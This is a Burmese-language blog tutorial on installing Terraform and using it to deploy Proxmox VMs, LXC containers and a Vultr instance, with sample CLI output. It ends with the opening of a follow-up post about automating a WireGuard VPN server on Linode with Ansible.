အရှေ့ post မှာတော့ Vagrant ကိုအသုံးပြုပြီး dev/test environment တစ်ခုကို ဘယ်လိုမျိုး IaC နည်းနဲ့ တည်ဆောက်ရသလဲဆိုတာကို လက်တွေ့အသုံးပြုနည်း ၂မျိုး ၃မျိုးလောက်ကို ရှင်းပြခဲ့ပါတယ်။ Instant deployment နဲ့ Scale-up/down တို့အပြင် teardown လုပ်ရတာ လွယ်ပုံလွယ်နည်းကိုလည်း ရှင်းခဲ့တယ်။ ဒီလိုဆိုတော့ မေးစရာရှိတာက Vagrant ဟာ Virtualbox နဲ့ အချို့ သော provider တွေနဲ့သာ အလုပ်လုပ်ပြီးတော့ cloud platform တွေမှာ limit အရမ်းကို ဖြစ်လွန်းပါတယ်။ စာရေးသူ အနေနဲ့တော့ Vagrant ကိုအသေးစား စမ်းသပ်မူမျိုးအတွက်သာ ကိုယ့် local machine မှာ Virtualbox နဲ့ တွဲပြီး သုံးသင့်ပါတယ်။ ဒီ့ထက်ကြီးတဲ့ infrastructure ကိုတည်ဆောက်ဖို့အတွက်တော့ Terraform ကိုသာ သုံးသင့်ပါတယ်။ ဒီတစ်ခုမှာတော့ Terraform အကြောင်းကို ဆက်ပြီးတော့သွားလိုက်ရအောင်ဗျာ။

### Terraform မိတ်ဆက်

Terraform ကိုလည်း HashiCorp ကနေပဲ opensource အနေနဲ့ ဖန်တီးထားတာဖြစ်ပြီးတော့ Vagrant နဲ့ မတူတာတစ်ခုက HashiCorp Configuration Language (HCL) ဆိုတဲ့ declarative configuration language ပုံစံကို အသုံးပြုထားပါတယ်။ ဒါကြောင့် Terraform မှာ desired state တွေကိုပြောလိုက်ရုံနဲ့ အနောက်မှာလုပ်စရာရှိတာတွေ အကုန်လုံးကို သူဟာသူ API တွေနဲ့တွဲကာ လုပ်ဆောင်နိုင်စွမ်းရှိပါတယ်။ သူ့မှာလည်း provider ဆိုတဲ့ concept ကို Vagrant မှာလိုပဲ အသုံးပြုထားတာဖြစ်ပြီးတော့ virtualisation နဲ့ cloud platform တွေတော်တော်များများမှာ အလုပ်လုပ်ပါတယ်။ အချို့သော support လုပ်တဲ့ platform တွေကို ပြောရမယ်ဆိုရင်တော့ AWS, Azure, IBM cloud, GCP, DigitalOcean, Oracle Cloud Infrastructure, VMware vSphere နဲ့ OpenStack တို့လိုမျိုး platform တွေမှာ အလုပ်လုပ်ပါတယ်။ စာရေးသူ သိသလောက်တော့ Terraform ရဲ့ အနောက်မှာအသုံးပြုတဲ့ core language က Golang လို့လည်း သိရပါတယ်။ Terraform ရဲ့ GitHub repo ကိုတော့ ဒီမှာ <https://github.com/hashicorp/terraform> သွားပြီးတော့ ကြည့်ရှုလေ့လာလို့ ရနိုင်ပါတယ်။ Golang ဟာ system နဲ့ infrastructure တွေနဲ့ တိုက်ရိုက် အလုပ်လုပ်တဲ့ အခါမှာ မြန်အောင်ပေါ့အောင် လုပ်ထားတဲ့ language တစ်ခုဖြစ်တဲ့ အတွက် အခုအချိန်မှာ အငယ်တော့ တီးမိခေါက်မိလောက် အောင်သိထားသင့်တဲ့ အရာတစ်ခုပါ။ ဒါကြောင့်လည်း စာရေးသူလေ့လာချင်နေတဲ့ language ထဲမှာ Golang ဟာလည်း တစ်ခုသော programming language တစ်ခုပါ။ Python တို့ Ruby တို့မှာလိုပဲ code တွေကို ဖတ်ရလွယ်ပြီးတော့ စွမ်းဆောင်ရည်ပိုင်းမှာလည်း အခြေခံကစလို့ အဆင့်မြင့်မြင့် လုပ်ဆောင်ချက်တွေကို လုပ်နိုင်တာကြောင့် တော်တော်လေးကို မျက်စိကျမိနေပါတယ်။ Docker လိုမျိုး ဆန်းပြားတဲ့ containerisation platform တစ်ခုလုံးကို Golang တစ်ခုတည်းနဲ့ ရေးလို့ ရနိုင်ပါတယ်။ ဒီလောက်ဆိုရင် Golang နဲ့ ဆိုဘယ်လောက်ထိခရီးပေါက်မလဲဆိုတာ သိနိုင်ပါပြီ။

### Terraform ကို install လုပ်ပုံ

Terraform ကို Ubuntu/Debian ကိုအခြေခံထားတဲ့ distro တွေမှာအသုံးပြုချင်ရင်တော့ အောက်ကအတိုင်း command တွေကို run ရမှာဖြစ်ပါတယ်။ ပထမဆုံး HashiCorp ရဲ့ GPG ကို ကိုယ့်ရဲ့ apt package manager အတွက် အခုလိုအရင်ဆုံး ထည့်သွင်းရပါ့မယ်။

```
$ curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
```

ပြီးနောက်... သူ့ရဲ့ repo ကို package manager ရဲ့ repository list ထဲမှာသွားပြီးတော့ အောက်ကအတိုင်းပေါင်းထည့်ပါ။

```
$ sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
```

ပြီးသွားရင်တော့... အောက်ကအတိုင်း apt package manager ကို update လုပ်ပြီးတော့၊ Terraform ကို install လုပ်ရုံပါပဲ။

```
$ sudo apt-get update && sudo apt-get install terraform
```

ကိုယ်က Apple ကိုအသုံးပြုတယ်ဆိုရင်တော့ Homebrew ကိုအသုံးပြုပြီးတော့ အောက်ကအတိုင်း install လုပ်လို့ရပါတယ်။

```
$ brew tap hashicorp/tap
$ brew install hashicorp/tap/terraform
$ brew upgrade hashicorp/tap/terraform
```

ဒါမှမဟုတ်ဘူး... Windows မှာအသုံးပြုချင်ရင်တော့ Chocolatety ကိုသုံးပြီးတော့ အခုလိုမျိုး install လုပ်လို့ရနိုင်ပါတယ်။

```
$ choco install terraform
```

ဒီတော့... Terraform ကို ကိုယ်အသုံးပြုတဲ့ OS ပေါ်မှာမူတည်ပြီးတော့ ပုံစံအမျိုးမျိုးနဲ့ install လုပ်နိုင်တာကိုတွေ့ရမှာဖြစ်ပါတယ်။

### Terraform ကိုလက်တွေ့အသုံးချနည်း

Terraform ကို install လုပ်ပြီးသွားတဲ့နောက်မှာတော့ စတင်ပြီးတော့ အသုံးပြုနိုင်ပြီဖြစ်တဲ့အတွက် ပထမဆုံး အနေနဲ့ Promox Virtualisation platform မှာသုံးတဲ့ပုံစံကို အရင်ဆုံးကြည့်လိုက်ရအောင်။

{% code title="main.tf" %}

```
terraform {
  required_providers {
    proxmox = {
      source  = "ondrejsika/proxmox"
    }
  }
}

provider "proxmox" {
    pm_api_url = "https://192.168.122.10:8006/api2/json"
    pm_user = "root@pam"
    pm_password = "yourpasswordhere!"
    pm_tls_insecure = "true"
}

variable "ssh_key" {
  default = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrejVdImAkcPtmdNjTRpiEIJI1xyiUyBg4XKBHU7PJzC/qNpXAjuAAMSIQFu933LUUP0qIdpdnC+ttpVum8w9eAyXmtA3SeFfHQvs442v6Hq+KpFAizd2uZbsfe5w+eUzVvCeFCt08N3UW4Pr/P/kbqe1CrekQ3Fdd4j6olGAcprd1zj8NACbNH0F44f8GPkA3OCiwt9EbN8gW9Xj7CzP0+HTD/r33DwNd00G9q7/yayMO7tJ4UxkGf4b0uP7sit9LBzjdnUM5Ku52tUEFqqGDooHYdS5gTdDXTSw2rRSPzWqaiX3qQ6uWCHI3nb63A5CPbhVusz8zk1P3egx/9eXT tyla@promox"
}

resource "proxmox_vm_qemu" "proxmox_vm" {
  count             = 3
  name              = "tf-vm-${count.index}"
  target_node       = "pve-dev01"
  clone             = "ubuntu"
  os_type           = "cloud-init"
  cores             = 1
  sockets           = "1"
  cpu               = "host"
  memory            = 1024
  scsihw            = "virtio-scsi-pci"
  bootdisk          = "scsi0"

disk {
    id              = 0
    size            = 10
    type            = "scsi"
    storage         = "local-lvm"
    storage_type    = "lvm"
    iothread        = true
  }

network {
    id              = 0
    model           = "virtio"
    bridge          = "vmbr0"
  }
# Cloud Init Settings
  ipconfig0 = "ip=192.168.122.10${count.index + 1}/24,gw=192.168.122.1"
sshkeys = <<EOF
  ${var.ssh_key}
  EOF
}
```

{% endcode %}

အပေါ်ဆုံးမှာတော့... ကိုယ်ဘယ် provider ကိုအသုံးပြုမလဲဆိုတာကိုပြောပေးလိုက်ရုံပါပဲ။ ဒီလိုဆိုရင် သက်ဆိုင်ရာ အပိုင်းတွေကို terraform ကသွားပြီးတော့ download ဆွဲယူပြီးတော့ install လုပ်ပါလိမ့်မယ်။ ဒီလို download နဲ့ install လုပ်တာလည်း ပထမဆုံးအကြိမ် တခေါက်ပဲ လုပ်ဖို့လိုတာ ဖြစ်ပြီးတော့ နောက်အခါတွေအတွက်တော့ provider ကြေငြာပေးလိုက်ရုံပါ။ ပြီးတာနဲ့ ကိုယ်ရဲ့ Promox VE ရဲ့ IP address နဲ့ login ကိုထည့်သွင်းပေးပြီးတော့ ssh\_key ဆိုတဲ့ variable ကိုကြေငြာပြန်ပါတယ်။ ဒီ variable မှာဆိုရင်တော့ ကိုယ့်ရဲ့ ssh public key ကိုထည့်ပါ။ ဒီလိုလုပ်လိုက်တာနဲ့ အောက်ဆုံးအပိုင်းမှာ Cloud Init Settings ဆိုတဲ့နေရာ ပြန်လည် အသုံးပြုနိုင်အောင်လုပ်ဆောင်လိုက်ခြင်းဖြစ်ပါတယ်။ အဲ့ဒီနောက်မှာတော့ ကိုယ် deploy လုပ်ချင်တဲ့ resource ကိုထပ်မံပြီးတော့ define လုပ်ရပါတယ်။ ဒီနေရာမှာ သတိထားရမှာက VM ဖြစ်တဲ့အတွက် Promox VE မှာ ကိုယ်သုံးမယ် VM template တွေကို အရင်ဆုံးဖန်တီးရပါလိမ့်မယ်။ Cloud Init ကိုလည်း ကိုယ်သုံးမယ်ပုံစံ မှာမူတည်ပြီးတော့ လိုရင်လိုသလို ကြိုပြီးတော့ configure လုပ်ရပါတယ်။ Terraform အကြောင်းရေးတာ ဖြစ်တဲ့အတွက် Promox VE မှာ VM template တည်ဆောက်ပုံနဲ့ cloud init ကို configure လုပ်ပုံကို အသေးစိတ် မသွားလိုတော့ပါဘူး။ နောက်မှ... Promox VE နဲ့ ပတ်သတ်တဲ့ post တွေမှပဲ ရေးပါတော့မယ်။ ဒီ resource နေရာမှာ ကိုယ်လိုချင်တဲ့ VM count အရေအတွက်နဲ့ system specification နဲ့ အခြားသော attribute တွေကို JSON ပုံစံနဲ့ ရေးရပါတယ်။ နောက်ဆုံးမှာတော့... VM တစ်လုံးချင်စီရဲ့ IP configuration နဲ့ ssh public key ကို ကူးယူပြီးတော့ ထည့်သွင်းပေးလိုက်ပါ။ ပြီးရင်တော့ လိုအပ်တဲ့ code ကို ပြင်ဆင်ပြီးဖြစ်ပါတယ်။ နောက်တခါ... VM နဲ့ မဟုတ်ပဲနဲ့ Promox VE ရဲ့ LXC container တွေနဲ့ ဘယ်လို deploy လုပ်နိုင်သလဲဆိုတာလည်း တချက်ကြည့်လိုက်ရအောင်။

{% code title="main.tf" %}

```
terraform {
  required_providers {
    proxmox = {
      source  = "ondrejsika/proxmox"
    }
  }
}

provider "proxmox" {
    pm_api_url = "https://192.168.122.10:8006/api2/json"
    pm_user = "root@pam"
    pm_password = "yourpasswordhere!"
    pm_tls_insecure = "true"
}

resource "proxmox_lxc" "lxc" { 
    count = 2
    hostname = "tf-lxc-${count.index}"
    cores = 1
    memory = "1024"
    swap = "2048"
    network {
        name = "eth0"
        bridge = "vmbr0"
        ip = "192.168.122.10${count.index + 1}/24"
        gw = "192.168.122.1"
        firewall = true
    }
    ostemplate = "local:vztmpl/ubuntu-18.04-standard_18.04.1-1_amd64.tar.gz" 
    password = "yourpasswordhere!"
    rootfs = "local-lvm:8" 
    storage = "local-lvm"
    target_node = "pve-dev01"
    unprivileged = true
}
```

{% endcode %}

မြင်တွေ့ရတဲ့အတိုင်း... resource ကို define လုပ်တဲ့ပုံစံ အနည်းငယ်ကွာတာကိုတွေ့ရပါလိမ့်မယ်။ Declarative ဖြစ်တဲ့အတွက် ကိုယ်လိုချင်တဲ့ ပုံစံကိုပြောပေးလိုက်ရုံနဲ့ terraform ဟာကျန်တဲ့ အပိုင်းတွေကို ဆက်ပြီးတော့ တာဝန်ယူသွားပါလိမ့်မယ်။ LXC container တွေကိုတော့ အရင်ဆုံး container template နေရာမှာ သွားပြီးတော့ download ဆွဲထားဖို့လိုပါတယ်။ အားလုံး အဆင်သင့်ဖြစ်ပြီ ဆိုတာနဲ့ terraform ကို စတင်အသုံးပြုဖို့အတွက် အောက်မှာပြထားတဲ့ terraform CLI commands တွေနဲ့ စလို့ရပါပြီ။

```bash
$ terraform init

Initializing the backend...

Initializing provider plugins...
- Finding latest version of ondrejsika/proxmox...
- Installing ondrejsika/proxmox v2020.9.21...
- Installed ondrejsika/proxmox v2020.9.21 (self-signed, key ID 410FB99F8F08737F)

Partner and community providers are signed by their developers.
If you'd like to know more about provider signing, you can read about it here:
https://www.terraform.io/docs/plugins/signing.html

Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

$ terraform plan

An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  + create

Terraform will perform the following actions:

  # proxmox_lxc.lxc[0] will be created
  + resource "proxmox_lxc" "lxc" {
      + arch         = "amd64"
      + cmode        = "tty"
      + console      = true
      + cores        = 1
      + cpulimit     = 0
      + cpuunits     = 1024
      + hostname     = "tf-lxc-0"
      + id           = (known after apply)
      + memory       = 1024
      + onboot       = false
      + ostemplate   = "local:vztmpl/ubuntu-18.04-standard_18.04.1-1_amd64.tar.gz"
      + password     = "yourpasswordhere!"
      + protection   = false
      + rootfs       = "local-lvm:8"
      + start        = false
      + storage      = "local-lvm"
      + swap         = 2048
      + target_node  = "pve-dev01"
      + tty          = 2
      + unprivileged = true
      + vmid         = 0

      + network {
          + bridge   = "vmbr0"
          + firewall = true
          + gw       = "192.168.122.1"
          + ip       = "192.168.122.101/24"
          + name     = "eth0"
        }
    }

  # proxmox_lxc.lxc[1] will be created
  + resource "proxmox_lxc" "lxc" {
      + arch         = "amd64"
      + cmode        = "tty"
      + console      = true
      + cores        = 1
      + cpulimit     = 0
      + cpuunits     = 1024
      + hostname     = "tf-lxc-1"
      + id           = (known after apply)
      + memory       = 1024
      + onboot       = false
      + ostemplate   = "local:vztmpl/ubuntu-18.04-standard_18.04.1-1_amd64.tar.gz"
      + password     = "yourpasswordhere!"
      + protection   = false
      + rootfs       = "local-lvm:8"
      + start        = false
      + storage      = "local-lvm"
      + swap         = 2048
      + target_node  = "pve-dev01"
      + tty          = 2
      + unprivileged = true
      + vmid         = 0

      + network {
          + bridge   = "vmbr0"
          + firewall = true
          + gw       = "192.168.122.1"
          + ip       = "192.168.122.102/24"
          + name     = "eth0"
        }
    }

Plan: 2 to add, 0 to change, 0 to destroy.

------------------------------------------------------------------------

Note: You didn't specify an "-out" parameter to save this plan, so Terraform
can't guarantee that exactly these actions will be performed if
"terraform apply" is subsequently run.

$ terraform apply

An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  + create

Terraform will perform the following actions:

  # proxmox_lxc.lxc[0] will be created
  + resource "proxmox_lxc" "lxc" {
      + arch         = "amd64"
      + cmode        = "tty"
      + console      = true
      + cores        = 1
      + cpulimit     = 0
      + cpuunits     = 1024
      + hostname     = "tf-lxc-0"
      + id           = (known after apply)
      + memory       = 1024
      + onboot       = false
      + ostemplate   = "local:vztmpl/ubuntu-18.04-standard_18.04.1-1_amd64.tar.gz"
      + password     = "yourpasswordhere!"
      + protection   = false
      + rootfs       = "local-lvm:8"
      + start        = false
      + storage      = "local-lvm"
      + swap         = 2048
      + target_node  = "pve-dev01"
      + tty          = 2
      + unprivileged = true
      + vmid         = 0

      + network {
          + bridge   = "vmbr0"
          + firewall = true
          + gw       = "192.168.122.1"
          + ip       = "192.168.122.101/24"
          + name     = "eth0"
        }
    }

  # proxmox_lxc.lxc[1] will be created
  + resource "proxmox_lxc" "lxc" {
      + arch         = "amd64"
      + cmode        = "tty"
      + console      = true
      + cores        = 1
      + cpulimit     = 0
      + cpuunits     = 1024
      + hostname     = "tf-lxc-1"
      + id           = (known after apply)
      + memory       = 1024
      + onboot       = false
      + ostemplate   = "local:vztmpl/ubuntu-18.04-standard_18.04.1-1_amd64.tar.gz"
      + password     = "yourpasswordhere!"
      + protection   = false
      + rootfs       = "local-lvm:8"
      + start        = false
      + storage      = "local-lvm"
      + swap         = 2048
      + target_node  = "pve-dev01"
      + tty          = 2
      + unprivileged = true
      + vmid         = 0

      + network {
          + bridge   = "vmbr0"
          + firewall = true
          + gw       = "192.168.122.1"
          + ip       = "192.168.122.102/24"
          + name     = "eth0"
        }
    }

Plan: 2 to add, 0 to change, 0 to destroy.

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes
  
proxmox_lxc.lxc[0]: Creating...
proxmox_lxc.lxc[1]: Creating...
proxmox_lxc.lxc[0]: Creation complete after 8s [id=pve/lxc/103]
proxmox_lxc.lxc[1]: Still creating... [10s elapsed]
proxmox_lxc.lxc[1]: Creation complete after 10s [id=pve/lxc/109]

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f2d23aa40b4bf5b30efe637f0ae74a6af01ffe4f%2FPVE.png?alt=media" alt=""><figcaption></figcaption></figure>

အခုဆိုရင်... lab/test environment တစ်ခုကို terraform HCL နဲ့ တခါရေးပြီး code တွေကို အခါခါပြန်သုံးလို့ ရနိုင်ပါပြီ။ ကိုယ်တည်ဆောက်ထားတဲ့ environment ကိုပြန်လည် tear-down လုပ်ချင်ရင်တော့ အောက်ကအတိုင်း လုပ်လို့ရပါတယ်။

```bash
$ terraform destroy 

An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  - destroy

Terraform will perform the following actions:

  # proxmox_lxc.lxc[0] will be destroyed
  - resource "proxmox_lxc" "lxc" {
      - arch                 = "amd64" -> null
      - bwlimit              = 0 -> null
      - cmode                = "tty" -> null
      - console              = true -> null
      - cores                = 1 -> null
      - cpulimit             = 0 -> null
      - cpuunits             = 1024 -> null
      - force                = false -> null
      - hostname             = "tf-lxc-0" -> null
      - id                   = "pve-dev01/lxc/103" -> null
      - ignore_unpack_errors = false -> null
      - memory               = 1024 -> null
      - onboot               = false -> null
      - ostype               = "ubuntu" -> null
      - protection           = false -> null
      - restore              = false -> null
      - rootfs               = "local-lvm:vm-103-disk-0,size=8G" -> null
      - start                = false -> null
      - storage              = "local" -> null
      - swap                 = 2048 -> null
      - target_node          = "pve-dev01" -> null
      - template             = false -> null
      - tty                  = 2 -> null
      - unique               = false -> null
      - unprivileged         = true -> null
      - vmid                 = 0 -> null

      - network {
          - bridge   = "vmbr0" -> null
          - firewall = true -> null
          - gw       = "192.168.122.1 -> null
          - ip       = "192.168.122.101/24" -> null
          - name     = "eth0" -> null
        }
    }

  # proxmox_lxc.lxc[1] will be destroyed
  - resource "proxmox_lxc" "lxc" {
      - arch                 = "amd64" -> null
      - bwlimit              = 0 -> null
      - cmode                = "tty" -> null
      - console              = true -> null
      - cores                = 1 -> null
      - cpulimit             = 0 -> null
      - cpuunits             = 1024 -> null
      - force                = false -> null
      - hostname             = "tf-lxc-1" -> null
      - id                   = "pve-dev01/lxc/109" -> null
      - ignore_unpack_errors = false -> null
      - memory               = 1024 -> null
      - onboot               = false -> null
      - ostype               = "ubuntu" -> null
      - protection           = false -> null
      - restore              = false -> null
      - rootfs               = "local-lvm:vm-109-disk-0,size=8G" -> null
      - start                = false -> null
      - storage              = "local" -> null
      - swap                 = 2048 -> null
      - target_node          = "pve-dev01" -> null
      - template             = false -> null
      - tty                  = 2 -> null
      - unique               = false -> null
      - unprivileged         = true -> null
      - vmid                 = 0 -> null

      - network {
          - bridge   = "vmbr0" -> null
          - firewall = true -> null
          - gw       = "192.168.122.1" -> null
          - ip       = "192.168.122.102/24" -> null
          - name     = "eth0" -> null
        }
    }

Plan: 0 to add, 0 to change, 2 to destroy.

Do you really want to destroy all resources?
  Terraform will destroy all your managed infrastructure, as shown above.
  There is no undo. Only 'yes' will be accepted to confirm.

  Enter a value: yes
  
proxmox_lxc.lxc[0]: Destroying... [id=pve-dev01/lxc/103]
proxmox_lxc.lxc[1]: Destroying... [id=pve-dev01/lxc/109]
proxmox_lxc.lxc[0]: Still destroying... [id=pve-dev01/lxc/103, 10s elapsed]
proxmox_lxc.lxc[1]: Still destroying... [id=pve-dev01/lxc/109, 10s elapsed]
proxmox_lxc.lxc[0]: Destruction complete after 11s
proxmox_lxc.lxc[1]: Destruction complete after 11s

Destroy complete! Resources: 2 destroyed.
```

Terraform ဟာ self-host virtualisation environment တွေအပြင်၊ cloud native တွေအတွက်လည်း သက်ဆိုင်ရာ provider တွေရှိပါတယ်။ အောက်မှာတော့ Vultr ဆိုတဲ့ cloud platform ကိုသုံးပြီးတော့ main.tf ကို အခုလိုမျိုးရေးလို့ ရပါတယ်။

{% code title="main.tf" %}

```javascript
terraform {
  required_providers {
    vultr = {
      source = "vultr/vultr"
      version = "2.1.1"
    }
  }
}

// Configure the Vultr provider.
// Alternatively, export the API key as an environment variable: `export VULTR_API_KEY=<your-vultr-api-key>`.
provider "vultr" {
  api_key = "yourapikeyhere!"
}

resource "vultr_instance" "my_instance" {
    plan = "vc2-1c-1gb"
    region = "sea"
    os_id = "167"
    label = "my-instance-label"
    tag = "my-instance-tag"
    hostname = "my-instance-hostname"
    enable_ipv6 = true
    backups = "enabled"
    ddos_protection = true
    activation_email = false
}
```

{% endcode %}

ဒီလောက်ဆိုရင်တော့... Terraform နဲ့ ဆိုင်တဲ့အပိုင်းတွေ အခြေခံအားဖြင့်တော့ နားလည်သဘောပေါက်လိမ့်မယ်လို့ ထင်ပါတယ်။ အခြေခံကို သိထားပြီးရင်ဖြင့် ကိုယ်လိုချင်တဲ့ ပုံစံမျိုးစုံကို ထပ်မံရှာဖွေပြီးတော့ ချဲ့ကားပြင်ဆင်သွားလိုက်ရင်ဖြင့် ဒီ code ဟာစွမ်းဆောင်နိုင်ရေး ဘယ်လောက်တောင်ရှိနိုင်သလဲဆိုတာ တွေးကြည့်လို့ရနိုင်ပါပြီ။ နောက်တပိုင်းမှာတော့ Ansible ကိုသုံးပြီးတော့ network automation lab တစ်ခုကို တည်ဆောက်တဲ့ ပုံစံကို ဆက်လက်ပြီးတော့ ဖော်ပြချင်ပါသေးတယ်။ တော်တော်လေးကို powerful ဖြစ်တဲ့ automation tool set တွေပဲဖြစ်ပါတယ်။ ဒီအပိုင်းကိုတော့ အခုလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။


# အနားမသပ်နိုင် သေးတဲ့ Infrastructure as Code (IaC) - အပိုင်း(၄)

ဒီအပိုင်းကို တော်တော်နဲ့ ဆက်မရေးဖြစ်ပဲနဲ့ အခုမှတခါ Ansible နဲ့ Infrastructure as Code (IaC) ကိုဘယ်မျိုးလုပ်ရင်ကောင်းမယ်ဆိုတဲ့ idea တစ်ခုရတာနဲ့ ပြန်ပြီးဆက်ရေးဖြစ်ပြန်တယ်။ စာရေးသူ ပြီးခဲ့တဲ့ နှစ်သစ်မကူးခင်ကာလက ရှိပြီးသား WireGuard VPN server တစ်လုံးကို ဖျက်စီးပြီးတော့ အသစ်ကနေပြန်စပြီး setup လုပ်ဖို့ဖြစ်လာပြန်ပါတယ်။ ပုံမှန်အားဖြင့်... WireGuard VPN server တစ်လုံးတည်ဆောက်ဖို့နဲ့ လိုအပ်တဲ့ peer configuration ထုတ်ဖို့ဆိုတာ မခက်ခဲပေမယ့် လက်ဝင်တယ်၊ အချိန်ကုန်တယ်လို့ စိတ်ထဲမှာထင်လာလို့ automation လုပ်ဖို့အတွက် အနည်းငယ်အားစိုက်ထုတ် ရပါတော့တယ်။ VPS တစ်လုံးကို Linode ပေါ်မှာတည်ဆောက်တာကစလို့ လိုအပ်တဲ့ system configuration နဲ့ wireguard configuration တွေအကုန်လုံး ကို စာရေးသူ Ansible နဲ့ ရအောင်လုပ်ဖို့ ကြိုးပမ်းပါတော့တယ်။ ပြီးတော့ တဆက်တည်းမှာပဲ peer configuration တွေကိုလည်း တပါတည်း Ansible နဲ့ လုပ်နိုင်ရင် ကောင်းမယ် စဉ်းစားမိတာနဲ့ အရင်က bash နဲ့ automation လုပ်ထားတဲ့ workflow ကိုပါ integrate လုပ်ချင်လာပြန်ပါတယ်။ ဒီတော့... end-to-end automation ကိုမြင်ယောင်ပြီးတော့ တစချင်းစီ play တွေတည်ဆောက်ပါခဲ့ပါတယ်။ အားလုံး အလုပ်လုပ်ပြီဆိုတာနဲ့ ကိုယ်လည်း နှစ်သစ်မှာ အပြင်မှာလည်ပတ်ပြီးတော့မေ့သွားမှာ စိုးရိမ်လို့ အင်္ဂလိပ်လိုပဲ ခပ်သွက်သွက်လေး self-note ပုံစံမျိုး ချရေးထားလိုက်ပါတယ်။ အနည်းဆုံးတော့ ကိုယ့်အတွက် documentation တစ်ခုကျန်အောင်လို့ပါ။ ဒါနဲ့ အဲ့ဒီ အင်္ဂလိပ်လို ရေးထားတဲ့ အတိုင်းပဲ share ပေးထားလိုက်ပါတယ်။ နောက်မှ... IaC အပိုင်း(၄) အတွက် ဒီ use case လေးနဲ့တော့ အဆင်ပြေတယ်ဆိုပြီး အခုဆက်ရေးဖြစ်သွားတယ်။ ဒီ article မှာတော့ စာရေးသူ အဲ့ဒီ playbook မှာပါဝင် အစိတ်အပိုင်းလေးတွေကို အချိန်ရသလောက် နည်းနည်းချင်းစီ ရှင်းပြသွားချင်ပါတယ်။

### Ansible workflow အတွေးလုပ်ငန်းစဉ်

ပထမဆုံး အနေနဲ့ စာရေးသူ အတွေးလုပ်ငန်းစဉ်ကို အရင်ချပြချင်ပါတယ်။ Linode မှာဘယ်လိုမျိုး VPS တစ်လုံးကို Ansible နဲ့ တည်ဆောက်သလဲဆိုတာကို ရှာဖို့အတွက်က Linode မှာ documentation တွေအများကြီးရှိပါတယ်။ ဒီအတွက်... VPS တစ်လုံးဖြစ်အောင် Ansible နဲ့လုပ်ဖို့ဆိုတာတော့ သိပ်မခက်ဘူးဆိုတာတွေးမိပါတယ်။ ပြဿနာက ကိုယ်တစ်ယောက်တည်း သုံးလို့ရအောင် လုပ်ဖို့ထပ် ကိုယ်အားလုံးပြီးသွားလို့ ပြန် share တဲ့အခါမှာ အခြားသူအတွက် နားလည်လွယ်ဖို့အတွက် ထပ်ကာထပ်ကာပြန်သုံးနိုင်ဖို့အတွက် variable တွေကို အသုံးပြုနိုင်ဖို့ ဆုံးဖြတ်လိုက်ပါတယ်။ ဒီတော့... နောက်အသုံးပြုချင်တဲ့သူက var folder ထဲမှာရှိတဲ့ variable တွေကိုလိုသလို ပြောင်းလဲသုံးနိုင်ဖို့အတွက် မခက်ခဲတော့ဘူးလို့ မြင်ပါတယ်။ နောက်တစ်ခုက... လိုအပ်တဲ့ content input တွေကို သင့်တော်သလို Jinja2 template နဲ့လုပ်ဖို့လည်း စိ်တ်ကူးမိပါတယ်။ sshdconfig လိုမျိုး static file ကိုတော့ files ဆိုတဲ့ folder မှာပဲထားပြီး ဒီအတိုင်းထည့်ဖို့ စဉ်းစားခဲ့ပါတယ်။ sed တို့ awk တို့ကို သုံးပြီး sshdconfig file ကို Ansible ကနေ edit လုပ်နိုင်သော်လည်း immutable workflow အတွက် static file ကပိုအလုပ်ဖြစ်မယ်လို့ ထင်ပါတယ်။ ဒီအတွက် build process တိုင်းမှာ sshd\_config ဟာ desired state မှာအမြဲရှိဖို့ အတွက်လည်း ရည်ရွယ်ပါတယ်။

လုပ်ရင်းကိုင်ရင်းနဲ့ စာရေးသူအတွက် အခက်အခဲတစ်ခုက Linode မှာတည်ဆောက်လိုက် VPS တစ်လုံးကို on-the-fly inventory တစ်ခုတည်ဆောက်ဖို့လိုပါတယ်။ အဲ့ဒီအတွက် in-memory inventory တစ်ခုကို Ansible ရဲ့ add\_host module ကိုသုံးထားပါတယ်။ ဒီလိုလုပ်လိုက်ခြင်းဖြင့် inventory file ကိုသပ်သပ် ဖန်းတီးစရာမလိုတော့တဲ့အပြင်၊ workflow ဟာလည်း ပိုပြီးတော့ fluid ဖြစ်လာတယ်၊ dynamic ပိုဖြစ်လာတယ်လို့ မြင်မိပါတယ်။ Ansible playbook မှာတော့ stanza တစ်ခုတည်းပါ၊ ကိုယ်လုပ်ချင်တဲ့ပုံစံဖြစ်ဖို့အတွက် ဘယ် module ကိုအသုံးချရမလဲဆိုတာ သိဖို့ကတော့ အချိန်အများကြီးပေးပြီးတော့ ရှာလိုက်ရပါတယ်။​

